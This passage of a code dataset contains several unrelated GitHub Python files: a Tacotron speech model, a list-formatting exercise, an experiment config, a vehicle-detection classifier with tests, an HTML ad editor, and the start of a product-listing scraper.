self.res_rnn1(x, (rnn1_hidden, rnn1_cell))\n if not self.generating :\n rnn1_hidden = self.zoneout(rnn1_hidden, rnn1_hidden_next)\n else :\n rnn1_hidden = rnn1_hidden_next\n x = x + rnn1_hidden\n \n # Compute second Residual RNN\n rnn2_hidden_next, rnn2_cell = self.res_rnn2(x, (rnn2_hidden, rnn2_cell))\n if not self.generating :\n rnn2_hidden = self.zoneout(rnn2_hidden, rnn2_hidden_next)\n else :\n rnn2_hidden = rnn2_hidden_next\n x = x + rnn2_hidden\n \n # Project Mels\n mels = self.mel_proj(x)\n mels = mels.view(batch_size, self.n_mels, self.max_r)[:, :, :self.r]\n hidden_states = (attn_hidden, rnn1_hidden, rnn2_hidden)\n cell_states = (rnn1_cell, rnn2_cell)\n \n return mels, scores, hidden_states, cell_states, context_vec\n \n \nclass Tacotron(nn.Module) :\n def __init__(self, embed_dims, num_chars, encoder_dims, decoder_dims, n_mels, fft_bins, postnet_dims,\n encoder_K, lstm_dims, postnet_K, num_highways, dropout) :\n super().__init__()\n self.n_mels = n_mels\n self.lstm_dims = lstm_dims\n self.decoder_dims = decoder_dims\n self.encoder = Encoder(embed_dims, num_chars, encoder_dims, \n encoder_K, num_highways, dropout)\n self.encoder_proj = nn.Linear(decoder_dims, decoder_dims, bias=False)\n self.decoder = Decoder(n_mels, decoder_dims, lstm_dims)\n self.postnet = CBHG(postnet_K, n_mels, postnet_dims, [256, 80], num_highways)\n self.post_proj = nn.Linear(postnet_dims * 2, fft_bins, bias=False)\n\n self.init_model()\n self.num_params()\n\n # Unfortunately I have to put these settings into params in order to save\n # if anyone knows a better way of doing this please open an issue in the repo\n self.step = nn.Parameter(torch.zeros(1).long(), requires_grad=False)\n self.r = nn.Parameter(torch.tensor(0).long(), requires_grad=False)\n\n def set_r(self, r) :\n self.r.data = torch.tensor(r)\n self.decoder.r = r\n\n def get_r(self) :\n return self.r.item()\n\n def forward(self, x, m, s_e, generate_gta=False) : \n\n self.step += 1\n\n if generate_gta :\n self.encoder.eval()\n self.postnet.eval()\n self.decoder.generating = True\n else :\n self.encoder.train()\n self.postnet.train()\n self.decoder.generating = False\n \n batch_size, _, steps = m.size()\n \n # Initialise all hidden states and pack into tuple\n attn_hidden = torch.zeros(batch_size, self.decoder_dims).cuda() \n rnn1_hidden = torch.zeros(batch_size, self.lstm_dims).cuda() \n rnn2_hidden = torch.zeros(batch_size, self.lstm_dims).cuda() \n hidden_states = (attn_hidden, rnn1_hidden, rnn2_hidden)\n \n # Initialise all lstm cell states and pack into tuple\n rnn1_cell = torch.zeros(batch_size, self.lstm_dims).cuda() \n rnn2_cell = torch.zeros(batch_size, self.lstm_dims).cuda() \n cell_states = (rnn1_cell, rnn2_cell)\n \n # Frame for start of decoder loop\n go_frame = torch.zeros(batch_size, self.n_mels).cuda() \n \n # Need an initial context vector\n context_vec = torch.zeros(batch_size, self.decoder_dims).cuda() \n \n # Project the encoder outputs to avoid \n # unnecessary matmuls in the decoder loop\n encoder_seq = self.encoder(x, s_e) \n encoder_seq_proj = self.encoder_proj(encoder_seq) \n \n # Need a couple of lists for outputs\n mel_outputs, attn_scores = [], []\n \n # Run the decoder loop\n for t in range(0, steps, self.r) :\n prenet_in = m[:, :, t - 1] if t > 0 else go_frame\n mel_frames, scores, hidden_states, cell_states, context_vec = \\\n self.decoder(encoder_seq, encoder_seq_proj, prenet_in, \n hidden_states, cell_states, context_vec, t)\n mel_outputs.append(mel_frames)\n attn_scores.append(scores)\n \n # Concat the mel outputs into sequence\n mel_outputs = torch.cat(mel_outputs, dim=2)\n \n # Post-Process for Linear Spectrograms\n postnet_out = self.postnet(mel_outputs)\n linear = self.post_proj(postnet_out)\n linear = linear.transpose(1, 2)\n \n # For easy visualisation\n attn_scores = torch.cat(attn_scores, 1)\n attn_scores = attn_scores.cpu().data.numpy()\n \n return mel_outputs, linear, attn_scores\n \n def generate(self, x, steps=2000) :\n \n self.encoder.eval()\n self.postnet.eval()\n self.decoder.generating = True\n \n batch_size = 1\n x = torch.LongTensor(x).unsqueeze(0).cuda()\n \n # Need to initialise all hidden states and pack into tuple for tidyness\n attn_hidden = torch.zeros(batch_size, self.decoder_dims).cuda()\n rnn1_hidden = torch.zeros(batch_size, self.lstm_dims).cuda()\n rnn2_hidden = torch.zeros(batch_size, self.lstm_dims).cuda()\n hidden_states = (attn_hidden, rnn1_hidden, rnn2_hidden)\n \n # Need to initialise all lstm cell states and pack into tuple for tidyness\n rnn1_cell = torch.zeros(batch_size, self.lstm_dims).cuda()\n rnn2_cell = torch.zeros(batch_size, self.lstm_dims).cuda()\n cell_states = (rnn1_cell, rnn2_cell)\n \n # Need a Frame for start of decoder loop\n go_frame = torch.zeros(batch_size, self.n_mels).cuda()\n \n # Need an initial context vector\n context_vec = torch.zeros(batch_size, self.decoder_dims).cuda()\n \n # Project the encoder outputs to avoid \n # unnecessary matmuls in the decoder loop\n encoder_seq = self.encoder(x)\n encoder_seq_proj = self.encoder_proj(encoder_seq)\n \n # Need a couple of lists for outputs\n mel_outputs, attn_scores = [], []\n \n # Run the decoder loop\n for t in range(0, steps, self.r) :\n prenet_in = mel_outputs[-1][:, :, -1] if t > 0 else go_frame\n mel_frames, scores, hidden_states, cell_states, context_vec = \\\n self.decoder(encoder_seq, encoder_seq_proj, prenet_in, \n hidden_states, cell_states, context_vec, t)\n mel_outputs.append(mel_frames)\n attn_scores.append(scores)\n # Stop the loop if silent frames present\n if (mel_frames < -3.8).all() and t > 10 : break\n \n # Concat the mel outputs into sequence\n mel_outputs = torch.cat(mel_outputs, dim=2)\n \n # Post-Process for Linear Spectrograms\n postnet_out = self.postnet(mel_outputs)\n linear = self.post_proj(postnet_out)\n \n \n linear = linear.transpose(1, 2)[0].cpu().data.numpy()\n mel_outputs = mel_outputs[0].cpu().data.numpy()\n \n # For easy visualisation\n attn_scores = torch.cat(attn_scores, 1)\n attn_scores = attn_scores.cpu().data.numpy()[0]\n \n self.encoder.train()\n self.postnet.train()\n self.decoder.generating = False\n \n return mel_outputs, linear, attn_scores\n \n def init_model(self) :\n for p in self.parameters():\n if p.dim() > 1 : nn.init.xavier_uniform_(p)\n\n def get_step(self) :\n return self.step.data.item()\n\n def reset_step(self) :\n self.step = nn.Parameter(torch.zeros(1).long(), requires_grad=False)\n\n def checkpoint(self, path):\n k_steps = self.get_step() // 1000\n self.save(f'{path}/checkpoint_{k_steps}k_steps.pyt')\n\n def log(self, path, msg):\n with open(path, 'a') as f:\n print(msg, file=f)\n\n def restore(self, path):\n if not os.path.exists(path):\n print('\\nNew Tacotron Training Session...\\n')\n self.save(path)\n else:\n print(f'\\nLoading Weights: \"{path}\"\\n')\n self.load(path)\n self.decoder.r = self.r.item()\n\n def load(self, path):\n self.load_state_dict(torch.load(path), strict=False)\n\n def save(self, path):\n torch.save(self.state_dict(), path)\n\n def num_params(self, print_out=True):\n parameters = filter(lambda p: p.requires_grad, self.parameters())\n parameters = sum([np.prod(p.size()) for p in parameters]) / 1_000_000\n if print_out:\n print('Trainable Parameters: %.3fM' % parameters)\n","repo_name":"dipjyoti92/SC-WaveRNN","sub_path":"models/tacotron.py","file_name":"tacotron.py","file_ext":"py","file_size_in_byte":17300,"program_lang":"python","lang":"en","doc_type":"code","stars":107,"dataset":"github-code","pt":"11"} +{"seq_id":"4227176518","text":"def commaCode(aList):\n if len(aList) == 0:\n print(\"This list is empty!\")\n return\n\n for i in aList:\n if i == aList[-1]:\n print('and', i)\n else:\n print(i, end=\", \")\n\nspam = ['apples', 'bananas', 'tofu', 'cats']\ncommaCode(spam)\n\naList = []\ncommaCode(aList)","repo_name":"matiastm99/inventWithPython-practice","sub_path":"automateTheBoringStuff/lists/comma_code.py","file_name":"comma_code.py","file_ext":"py","file_size_in_byte":309,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"19294358794","text":"import time\nimport os\nimport random\nimport datetime\n\nclass Params:\n def __init__(self):\n self.map = 'exp1' # one of 'exp1' 'exp2' 'exp3' 'exp4'\n\n # Configs for running trains/test\n self.num_train_processes = 20\n if self.map in ['exp1', 'exp3']:\n self.train_maps = [f'multitarget-visnav-{self.map}-v1'] * self.num_train_processes\n elif self.map in ['exp2', 'exp4']:\n self.train_maps = [f'multitarget-visnav-{self.map}-seen-v1'] * self.num_train_processes\n else:\n raise ValueError('self.map must be provided as exp{1,2,3,4}.')\n\n if self.map in ['exp1', 'exp3']:\n self.eval_maps = [f'multitarget-visnav-{self.map}-v1']\n else:\n self.eval_maps = [f'multitarget-visnav-{self.map}-seen-v1',\n f'multitarget-visnav-{self.map}-unseen-v1']\n\n self.num_test_processes = len(self.eval_maps)\n\n self.n_eval = 500\n self.gpu_ids_train = [0, 1]\n self.gpu_ids_test = [0, 1]\n self.seed = random.randint(0, 10000)\n\n # Model/optimizer hyperparameters\n self.gamma = 0.99\n self.entropy_coef = 0.01\n self.lr = 7e-5\n self.tau = 1.0\n self.clip_grad_norm = 10.0\n self.value_loss_coef = 0.5\n self.amsgrad = True\n self.goal_coef = 0.5\n self.goal_batch_size = 50\n self.minimum_warmup = self.num_train_processes * 100\n self.weight_decay = 0\n\n # Gym environment settings\n self.scaled_resolution = (42, 42)\n self.living_reward = -0.0025 # 4-frame stack, so living reward is quadrupled\n self.goal_reward = 10.0\n self.non_goal_penalty = 1.0\n self.non_goal_break = True\n self.timeout_penalty = 0.1\n\n # Logging-related\n now = datetime.datetime.now()\n nowDate = now.strftime('%Y-%m-%d-%H:%M:%S')\n self.log_file = nowDate\n if not os.path.exists('./wgt'):\n os.mkdir('./wgt')\n self.weight_dir = './wgt/{}_wgt/'.format(nowDate)\n\n\nparams = Params()\n\ndef log_params():\n path = './log/{}'.format(params.log_file)\n\n msg = str('start time\\t{}\\n'.format(time.strftime('%X %x %Z')))\n\n params_dict = params.__dict__\n for key in params_dict.keys():\n msg += '{}\\t{}\\n'.format(key, str(params_dict[key]))\n\n msg += '\\n' + '\\t'.join(['time', 'numUpdates', 'mapId', 'saveModelIdx', 'avgReward', 'avgLength', 'successRate', 'bestRate']) + '\\n'\n csv_path = path + '.csv'\n if not os.path.isdir('./log'):\n os.mkdir('./log')\n\n with open(csv_path, 'w') as file:\n file.write(msg)\n\n","repo_name":"kibeomKim/GACE-GDAN","sub_path":"params.py","file_name":"params.py","file_ext":"py","file_size_in_byte":2629,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"11"} +{"seq_id":"32603015343","text":"from imports import *\n\n\ndef is_iterable(obj):\n try:\n iter(obj)\n except TypeError:\n return False\n else:\n return True\n\n\ndef get_closest_idx(arr, val):\n if is_iterable(val):\n return [np.argmin(np.abs(arr - x)) for x in val]\n else:\n return np.argmin(np.abs(arr - val))\n\n\ndef most_frequent(List):\n counter = 0\n num = List[0]\n\n for i in List:\n curr_frequency = List.count(i)\n if (curr_frequency > counter):\n counter = curr_frequency\n num = i\n\n return num\n\n","repo_name":"Owlbearpig/THzConductivity","sub_path":"helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":548,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"39132554648","text":"import logging\nlogger = logging.getLogger(__name__)\nlogger.info('Classifier module loaded')\n\n\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.svm import LinearSVC, SVC\nimport sklearn.svm\nfrom sklearn.model_selection import train_test_split\n\nclass Classifier():\n\n def __init__(self, X, y):\n \n\n # self.svc = sklearn.svm.SVC(kernel='linear')\n # self.svc = sklearn.svm.SVC(kernel='rbf')\n self.svc = LinearSVC()\n\n self.X_scaler = StandardScaler().fit(X)\n\n scaled_X = self.X_scaler.transform(X)\n\n X_train, X_test, y_train, y_test = train_test_split(scaled_X, y, test_size=0.2)\n\n self.svc.fit(X_train, y_train)\n\n self.accuracy = round(self.svc.score(X_test, y_test), 4)\n\n\n def getAccuracy(self):\n return self.accuracy\n\n def predict(self, X):\n scaled_X = self.X_scaler.transform(X)\n return self.svc.predict(scaled_X)\n\n\n\n\ndef main( debug_num=100, use_pre_trained_classifier=False ):\n\n \n\n\n\n\n logging.basicConfig(filename='debug.log', level=logging.DEBUG, format='%(asctime)s - %(levelname)s - %(message)s')\n logger.info('######################### VehicleDetector - Module Test ############################')\n\n import numpy as np\n from TrainingDataset import TrainingDataset\n import cv2\n import glob\n import os.path\n\n dataset = TrainingDataset('data/vehicles/', 'data/non-vehicles/')\n\n x_loc_list = dataset.getXLoc()\n y = dataset.getY()\n print('Number of images: ', len(x_loc_list))\n print('Number of labels: ', len(y))\n\n print('Number of vehicle images: ', len(dataset.getVehicleImgList()))\n print('Number of vehicle lables: ', np.count_nonzero(dataset.getY()))\n assert(len(dataset.getVehicleImgList()) == np.count_nonzero(dataset.getY()))\n\n num_of_non_vehicle_img = len(dataset.getNonVehicleImgList())\n num_of_non_vehicle_labels = len(dataset.getY()) - np.count_nonzero(dataset.getY())\n print('Number of non-vehicle images: ', num_of_non_vehicle_img)\n print('Number of non-vehicle lables: ', num_of_non_vehicle_labels)\n assert(num_of_non_vehicle_labels == num_of_non_vehicle_img) \n\n\n\n print('\\n\\n*********\\nLimited number of images for testing: {}! \\n*********'.format(2*debug_num))\n\n #####################################################\n # Classifier Training \n #####################################################\n print('\\n\\n######################### Module Test on Classifier Training ############################ \\n')\n logger.info('\\n\\n######################### Module Test on Classifier Training ############################ \\n')\n test_x_loc_list = x_loc_list[-debug_num:-1] + x_loc_list[0:debug_num]\n test_y = np.concatenate((y[-debug_num:-1] ,y[0:debug_num]))\n\n assert len(test_x_loc_list)>0\n assert len(test_x_loc_list) == len(test_y)\n\n from FeatureExtractor import FeatureExtractor\n\n feature_extractor = FeatureExtractor()\n X = []\n for x_loc in test_x_loc_list:\n img_bgr = cv2.imread(x_loc)\n\n features,_ = feature_extractor.extractFeaturesAndWindows(img_bgr)\n\n assert len(features) == 1\n X.extend(features)\n\n assert len(X) == len(test_y), 'Num of feature vectors: {}, number of labels: {}'.format(len(X), len(y) )\n\n if use_pre_trained_classifier == False:\n vehicle_classifier = Classifier(X,test_y)\n else:\n import os.path\n import pickle\n #load checkpoint data\n if os.path.isfile('veh_classifier_checkpoint.pickle') :\n logger.debug('VehicleDetector: load classifier checkpoint.')\n with open('veh_classifier_checkpoint.pickle', 'rb') as handle:\n vehicle_classifier = pickle.load(handle)\n else: \n X = []\n for x_loc in x_loc_list:\n img_bgr = cv2.imread(x_loc)\n\n features,_ = feature_extractor.extractFeaturesAndWindows(img_bgr)\n\n assert len(features) == 1\n X.extend(features)\n vehicle_classifier = Classifier(X,y)\n\n\n\n print('Accuracy: ', vehicle_classifier.getAccuracy())\n\n assert vehicle_classifier.getAccuracy() > 0.5\n\n\n\n\n\n print('\\n\\n######################### Module Test on Classifier Prediction ############################ \\n')\n print('---------- Test predict() on Car images ------------')\n logger.info('---------- Test predict() on Car images ------------')\n assert debug_num*2 < len(dataset.getXLoc())/2\n\n car_loc_list =x_loc_list[debug_num:2*debug_num]\n\n assert len(car_loc_list)>0\n\n X = []\n for x_loc in car_loc_list:\n img_bgr = cv2.imread(x_loc)\n\n features,_ = feature_extractor.extractFeaturesAndWindows(img_bgr)\n\n assert len(features) == 1\n X.extend(features)\n\n\n\n predicitons = vehicle_classifier.predict(X)\n pred_hit_num = np.count_nonzero(predicitons)\n print('Car Prediction hits = {}, misses = {}'.format(pred_hit_num, len(predicitons)-pred_hit_num))\n print('Car Prediction Accuracy: ', pred_hit_num/len(predicitons) )\n assert pred_hit_num/len(predicitons) > 0.5\n\n print('\\n---------- Test predict() on Non-car images ------------')\n logger.info('\\n---------- Test predict() on Non-car images ------------')\n noncar_loc_list =x_loc_list[-2*debug_num:-1*debug_num]\n\n\n assert len(noncar_loc_list)>0\n\n X = []\n for x_loc in noncar_loc_list:\n img_bgr = cv2.imread(x_loc)\n\n features,_ = feature_extractor.extractFeaturesAndWindows(img_bgr)\n\n assert len(features) == 1\n X.extend(features)\n\n print(' total features number: {}'.format(len(X)))\n print(' type of feature vectors X: {}'.format(type(X)))\n print(' type of a feature : {}'.format(type(X[0])))\n print(' size of a feature : {}'.format( len(X[0]) ))\n print(' shape of a feature : {}'.format( (X[0].shape) ))\n\n predicitons = vehicle_classifier.predict(X)\n print(' type of predicitons : {}'.format(type(predicitons)))\n print(' type of a prediciton : {}'.format(type(predicitons[0])))\n pred_hit_num = len(predicitons) -np.count_nonzero(predicitons)\n print('Non-car Prediction hits = {}, misses = {}'.format(pred_hit_num, len(predicitons)-pred_hit_num))\n print('Non-car Prediction Accuracy: ', pred_hit_num/len(predicitons) )\n assert pred_hit_num/len(predicitons) > 0.5\n\n print('\\n\\n######################### Video Frame Test ############################ \\n')\n logger.info('\\n\\n######################### Video Frame Test ############################ \\n')\n video_img_brg = cv2.imread('data/test_images/537.jpg')\n\n features, windows = feature_extractor.extractFeaturesAndWindows(video_img_brg,win_scale=2)\n\n print(' total features number: {}'.format(len(features)))\n logger.info(' total features number: {}'.format(len(features)))\n print(' type of feature vectors X: {}'.format(type(features)))\n print(' size of a feature : {}'.format( len(features[0]) ))\n print(' shape of a feature : {}'.format( (features[0].shape) ))\n logger.info(' shape of a feature : {}'.format( (features[0].shape) ))\n print(' shape of a reshaped feature : {}'.format( features[0].reshape(1,-1).shape) ) \n # predictions = []\n # for feat in features:\n # #TODO: (feat.reshape(1,-1))? OR JUST feat?\n # pred = vehicle_classifier.predict(feat) \n # predictions.append(pred) \n predictions = vehicle_classifier.predict(features) \n pred_hit_num = len(predicitons) -np.count_nonzero(predicitons)\n logger.info('Number of predictions: {}'.format(len(predictions)))\n print('Video Frame Prediction hits = {}, misses = {}'.format(pred_hit_num, len(predictions)-pred_hit_num))\n logger.info('Video Frame Prediction hits = {}, misses = {}'.format(pred_hit_num, len(predictions)-pred_hit_num))\n print('Video Frame Prediction Accuracy: ', pred_hit_num/len(predictions) )\n # assert pred_hit_num/len(predictions) > 0.5\n \n\n detected_windows = [win for (win, pred) in zip(windows, predictions) if (pred==1)]\n\n img_bgr_marked = drawBoxes(video_img_brg, detected_windows)\n DBG_saveAllWindowedImages(video_img_brg, detected_windows)\n cv2.imshow('Marked Video Frame', img_bgr_marked)\n cv2.waitKey()\n\n\n\n print('\\n\\n######################### 64x64 window-cropped Video Frames: Classifier Prediction ############################ \\n')\n\n logger.info('---------- 64x64 window-cropped Video Frames: Classifier Prediction ------------')\n\n\n sample_dir='data/test_images/croped_537_subimg/'\n car_loc_list = glob.glob(sample_dir+'*.jpg')\n\n assert len(car_loc_list)>0\n\n X = []\n for x_loc in car_loc_list:\n img_bgr = cv2.imread(x_loc)\n path, img_filename = os.path.split(x_loc) \n\n feature,_ = feature_extractor.extractFeaturesAndWindows(img_bgr)\n predi = vehicle_classifier.predict(feature)\n\n assert len(feature) == 1\n X.extend(feature)\n\n logger.debug( img_filename+ ' prediction: ' + str(predi))\n print( img_filename+ ' prediction: ' + str(predi))\n\n\n\n predicitons = vehicle_classifier.predict(X)\n pred_hit_num = np.count_nonzero(predicitons)\n print('Car Prediction hits = {}, misses = {}'.format(pred_hit_num, len(predicitons)-pred_hit_num))\n print('Car Prediction Accuracy: ', pred_hit_num/len(predicitons) )\n # assert pred_hit_num/len(predicitons) > 0.5\n\n\n print('\\n**************** All Tests Passed! *******************')\n\ndef drawBoxes(img_bgr, windows):\n import numpy as np\n import cv2\n bgr = np.copy(img_bgr)\n for a_win in windows:\n\n ul_pos = a_win[0]\n br_pos = a_win[1]\n\n ul_y, ul_x = ul_pos\n br_y, br_x = br_pos\n # logger.debug('window position: {}'.format(a_win))\n # cv2.rectangle(bgr, a_win[0], a_win[1], (0,0,255))\n cv2.rectangle(bgr, (int(ul_x), int(ul_y)), (int(br_x), int(br_y)), (255,0,0), thickness=1)\n\n return bgr \n\n\n\n\nDBG_counter=0\nimport cv2\ndef DBG_saveAllWindowedImages(img_bgr, windows):\n global DBG_counter\n\n # img_bgr = cv2.cvtColor(img_YCrCb, cv2.COLOR_YCrCb2BGR)\n\n cv2.imwrite('data/debug_all_images/window_cropped_video_frames/video_frame.jpg', img_bgr)\n\n\n for win in windows:\n ul_pos = win[0]\n dr_pos = win[1]\n\n ul_row, ul_col = ul_pos\n dr_row, dr_col = dr_pos\n\n subimg = img_bgr[ul_row:dr_row, ul_col:dr_col]\n subimg_scaled = cv2.resize(subimg, ( 64, 64) )\n\n cv2.imwrite('data/debug_all_images/window_cropped_video_frames/'+ str(DBG_counter)+'.png', subimg_scaled)\n DBG_counter += 1\n\n\n\n\n\nif __name__ == \"__main__\": \n import time\n from datetime import timedelta\n\n time_start = time.time()\n\n main()\n\n time_end = time.time()\n print(\"Time usage: \" + str(timedelta(seconds=int( time_end - time_start))))\n\n\n","repo_name":"qqquan/carnd_t1_p5_vehicle_tracking","sub_path":"vehicle_tracking/Classifier.py","file_name":"Classifier.py","file_ext":"py","file_size_in_byte":10758,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"37862508633","text":"import sys\nfrom bs4 import BeautifulSoup\nimport os\n\n\ndef ad_link_editor(Beautiful_Soup_object, new_link):\n \"\"\"This function will replace the link of the ad and return a\n new html file containing the desired ad.\n The function takes as parameters a BeautifulSoup object and the new link desired.\"\"\"\n div = Beautiful_Soup_object.find(\"div\", {\"class\":\"item active\"})# selects the div\n old_ad_link = div.find(\"a\")[\"href\"] # selects the link to be replaced\n edited_div = str(div).replace(old_ad_link, new_link)\n new_div = str(Beautiful_Soup_object).replace(edited_div, new_div)\n return new_div.prettify()\n\n\n\n\ndef image_link_editor(Beautiful_Soup_object, desired_image_link):\n \"\"\"This function edits the BeautifulSoup object provided as a parameter,\n replacing the links in the src and data-original tags\n with the desired link provided.\"\"\"\n div = Beautiful_Soup_object.find(\"div\", {\"class\":\"listing-unit-img-wrapper\"})# selects the div\n old_image_src_links = div.findAll(\"a\")[\"src\"]\n old_image_data_original_links = div.findAll(\"a\")[\"data-original\"]\n for old in zip(old_image_src_links, old_image_data_original_link):\n edited_div = str(div).replace(old_image_src_link, desired_image_link)\n edited_div = edited_div.replace(old_image_data_original_link, desired_image_link)\n return edited_div.prettify()\n\n\ndef alt_tag_editor(Beautiful_Soup_object, desired_image_description):\n \"\"\"This function edits the alt tag. It changes the alt description to the\n desired image description. The function uses a BeautifulSoup object as a\n parameter and the desired image description.\"\"\"\n div = Beautiful_Soup_object.find(\"div\", {\"class\":\"item active\"})# selects the div\n old_alt_tag = div.find(\"a\")[\"alt\"]\n alt_tag = old_alt_tag.replace(\"\", desired_image_description)\n tag = \"alt=\" + old_alt_tag\n new_div = str(div).replace(tag, \"alt=\" + desired_image_description)\n return new_div\n\n\ndef property_address_editor(string, new_address):\n \"\"\"This function updates the address of the property with the new address provided.\"\"\"\n Beautiful_Soup_object = BeautifulSoup(string, \"html.parser\")\n class_name = \"property_unit_custom_element property_address unit_element_43931 \"\n current_address = Beautiful_Soup_object.find(\"div\", {\"class\":class_name}).text\n string = string.replace(current_address, new_address)\n return BeautifulSoup(string, \"html.parser\").prettify()\n\n\n\ndef update_title(string, new_title):\n \"\"\"This function updates the title of the property, by replacing the old title\n with the new title provided.\"\"\"\n Beautiful_Soup_object = BeautifulSoup(string, \"html.parser\")\n old_title = Beautiful_Soup_object.h4.text\n html_string = str(Beautiful_Soup_object).replace(old_title, new_title)\n return BeautifulSoup(html_string, \"html.parser\").prettify()\n\ndef update_price(string, new_price):\n \"\"\"This function updates the price detail of the string provided,\n using the new price parameter.\"\"\"\n Beautiful_Soup_object = BeautifulSoup(string, \"html.parser\")\n price_html = Beautiful_Soup_object.find(\"span\", {\"class\":\"price_label price_label_before\"}).next_sibling\n old_price = str(price_html).strip()\n string = string.replace(old_price, new_price)\n return BeautifulSoup(string, \"html.parser\").prettify()\n\n\ndef short_description_editor(string, desired_description):\n \"\"\"This function edits the short description of the ad. It replaces the old\n short description of the ad with the desired description. The function takes\n a BeautifulSoup object as a parameter and the desired description.\"\"\"\n Beautiful_Soup_object = BeautifulSoup(string, \"html.parser\")\n div = Beautiful_Soup_object.find(\"div\", {\"class\":\"property_unit_custom_element description unit_element_15489 \"})\n old_description = div.text\n edited_description = str(div).replace(old_description, desired_description)\n return BeautifulSoup(new_div, \"html.parser\").prettify()\n\n\ndef html_developer(data_source_file, template_html_file):\n # open and read the source file for the data to be written\n data_source_file = open(data_source_file, \"r\")\n data_to_write = data_source_file.read().split(\"\\n\")\n # open and read the html template\n template_html_file = open(template_html_file, \"r\")\n template_data = template_html_file.read()\n template_html_file.close()\n Beautiful_Soup_object = BeautifulSoup(template_data, \"html.parser\")\n for n in range(1, len(data_to_write)):\n\n line = data_to_write[n].strip().split(\",\")\n\n property_title = line[0]\n price = line[1]\n beds = line[2]\n bathrooms = line[3]\n description = line[4]\n property_overview = line[5]\n agent = line[6]\n short_ad_description = line[7:]\n\n\n title_update = update_title(Beautiful_Soup_object, property_title) # it's html\n short_description_update = short_description_editor(title_update, short_ad_description)\n price_update = update_price(short_description_update)\n\n template_html_file = open(property_title + \".csv\", \"w\")\n\n template_html_file.write(price_update)\n\ndef main():\n data_source_file = r\"C:\\Users\\George Burac\\Desktop\\p2\\NSD\\AlinProjects\\Daft Scraper\\scraped data.csv\"\n\n template_html_file = r\"C:\\Users\\George Burac\\Desktop\\p2\\NSD\\AlinProjects\\Daft Scraper\\property_eire.html\"\n html_developer(data_source_file, template_html_file)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"GeorgeBurac/html_editor","sub_path":"html_developer.py","file_name":"html_developer.py","file_ext":"py","file_size_in_byte":5465,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"32841126160","text":"from genericpath import exists\nfrom urllib import response\nfrom django.http import JsonResponse\nfrom rest_framework.response import Response\nfrom rest_framework.decorators import api_view\nfrom rest_framework import status, viewsets, permissions\nfrom django.shortcuts import render\nfrom .models import Item\nfrom .serializers import *\nfrom bs4 import BeautifulSoup\nfrom datetime import date\nimport requests\nimport lxml \nimport re\n\ndef get_items(name):\n \n userInput = re.sub('\\s+', '+', name)\n websites = [\"https://www.amazon.com/s?k=\" + userInput, \"https://www.newegg.com/p/pl?d=\" + userInput]\n bs = []\n\n headers = {\n\n }\n\n #503 error begone!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n headers_list = [\n {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36'},\n {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0'},\n {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36'},\n {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',\n 'referer': 'https://google.com'},\n {'User-Agent': \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36\",\n 'referer': 'https://google.com'},\n { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36',\n 'Accept-Language': 'en-US,en;q=0.9',\n 'Accept-Encoding': 'gzip, deflate, br',\n 'Connection': 'keep-alive',\n 'Upgrade-Insecure-Requests': '1',\n 'TE': 'Trailers'},\n {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36',\n 'Accept-Language': 'en-US,en;q=0.9',\n 'Accept-Encoding': 'gzip, deflate, br',\n 'Connection': 'keep-alive',\n 'Upgrade-Insecure-Requests': '1',\n 'TE': 'Trailers'\n },\n]\n for website in websites:\n for headers in headers_list:\n response = requests.get(website, headers=headers)\n if response.status_code == 200:\n bs.append(BeautifulSoup(response.text, 'lxml'))\n break\n else:\n return Response(\"Failed to get response from website\", status=status.HTTP_500_INTERNAL_SERVER_ERROR)\n\n #todo: refactor this code\n list_all_items = []\n #amazon\n if bs[0] is not None:\n list_all_items.append(bs[0].findAll('div', class_=\"sg-col-20-of-24 s-result-item s-asin sg-col-0-of-12 sg-col-16-of-20 sg-col s-widget-spacing-small sg-col-12-of-16\"))\n #newegg\n if bs[1] is not None:\n list_all_items.append(bs[1].find('div', class_=\"item-cells-wrap border-cells items-grid-view four-cells expulsion-one-cell\"))\n\n \n\n #print(list_all_items[0])\n #print(websites[1])\n #print(list_all_items[1])\n\n\n\n for index, lists in enumerate(list_all_items):\n #amazon\n if index == 0: \n #print(\"Entered index 0\") \n for items in lists: \n item_name = items.find('span', class_=\"a-size-medium a-color-base a-text-normal\")\n if item_name is not None:\n itemname=item_name.text\n item_price = items.find('span', class_=\"a-offscreen\")\n if item_price is not None:\n itemprice=item_price.text\n else:\n itemprice = \"n/a\"\n item_link = items.find('a', class_=\"a-link-normal s-underline-text s-underline-link-text s-link-style a-text-normal\")['href']\n if item_link is not None:\n itemlink = \"https://amazon.com\" + item_link[:item_link.index('/ref') + 4]\n else:\n itemlink = \"n/a\"\n itemdate = date.today().strftime(\"%m-%d-%y\")\n item_imagelink = items.find('img', class_=\"s-image\")\n if item_imagelink is not None:\n itemimagelink = item_imagelink['src']\n else:\n itemimagelink = \"n/a\"\n #print(itemdate)\n #print(itemlink)\n 